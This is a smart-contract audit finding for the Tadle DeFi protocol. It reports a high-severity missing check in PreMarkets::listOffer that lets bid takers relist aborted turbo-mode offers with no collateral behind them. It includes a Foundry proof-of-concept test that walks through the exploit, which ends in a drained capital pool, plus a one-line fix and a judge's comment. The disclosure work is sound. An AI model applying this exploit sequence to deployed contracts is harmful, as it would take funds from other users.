Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

Missing check for aborted origin offer allows bid takers to relist unbacked offers

Summary

A missing validation check in PreMarkets::listOffer allows bid takers to relist aborted stock, which, in an offer operating in turbo mode, results in offers with no collateral backing. Due to another issue, bid takers may be compensated using other users' tokens, as the user relisting the offer faces no penalties.

Vulnerability Details

If an ask maker chooses to abort their offer, bid takers can also abort their participation by calling PreMarkets::abortBidTaker. This returns the tokens originally sent to the ask maker when the offer was created, effectively ending the buy-sell relationship with no further liabilities. However, if the bid taker (now acting as the ask maker) is allowed to relist the offer by calling PreMarkets::listOffer while the offer is in turbo mode, a new, unbacked offer is created. This offer lacks any collateral or liability, allowing the bid taker (now the ask maker) to receive tokens from a new taker without having to settle any point tokens. No penalties can be applied since no collateral was locked in the protocol.

Impact

Refer to the example PoC, where user acts as the original maker, user1 as the first taker who then lists the unbacked offer for sale, and user2 as the user who takes the unbacked bid offer:

function test_relist_aborted_offer() public {
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(user1);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
// Abort offers
vm.prank(user);
preMarktes.abortAskOffer(stockAddr, offerAddr);
vm.startPrank(user1);
address stock1Addr = GenerateAddress.generateStockAddress(1);
preMarktes.abortBidTaker(stock1Addr, offerAddr);
// Relist aborted offer and create taker
preMarktes.listOffer(stock1Addr, 0.01 * 1e18, 12000);
vm.stopPrank();
address offer1Addr = GenerateAddress.generateOfferAddress(1);
vm.prank(user2);
preMarktes.createTaker(offer1Addr, 500);
address stock2Addr = GenerateAddress.generateStockAddress(2);
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(user2);
deliveryPlace.closeBidTaker(stock2Addr);
console2.log(
tokenManager.userTokenBalanceMap(
user,
address(mockUSDCToken),
TokenBalanceType.RemainingCash
)
);
// Capital pool is empty because the offers were previously aborted
vm.expectRevert(abi.encodeWithSignature("TransferFailed()"));
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.RemainingCash
);
}

Tools Used

Manual review.

Recommendations

Add missing check in PreMarkets::listOffer forcing bid takers to abort their offer if the maker aborted when operating in turbo mode:

if (makerInfo.offerSettleType == OfferSettleType.Turbo) {
address originOffer = makerInfo.originOffer;
OfferInfo memory originOfferInfo = offerInfoMap[originOffer];
+ if (originOfferInfo.abortOfferStatus == AbortOfferStatus.Aborted) {
+ revert("Origin offer aborted");
+ }
if (_collateralRate != originOfferInfo.collateralRate) {
revert InvalidCollateralRate();
}
originOfferInfo.abortOfferStatus = AbortOfferStatus.SubOfferListed;
}

Note that it is not necessary to implement the check for protected offers since bid takers will need to deposit collateral when listing the offer, therefore if they decide to abort, they will still need to provide the point tokens, otherwise their collateral will be sent to the new bid takers.

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-Premarkets-listOffer-lack-check-abort-relist

Leaving high severity for now but will leave open for appeals. Technically, users can choose not to transact this type offers if they are aware of such undercollaterized relisted offers, in which case it will have no impact. However, if subsequent takers transact this relisted offers, this can allow profits without having to settle any points.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.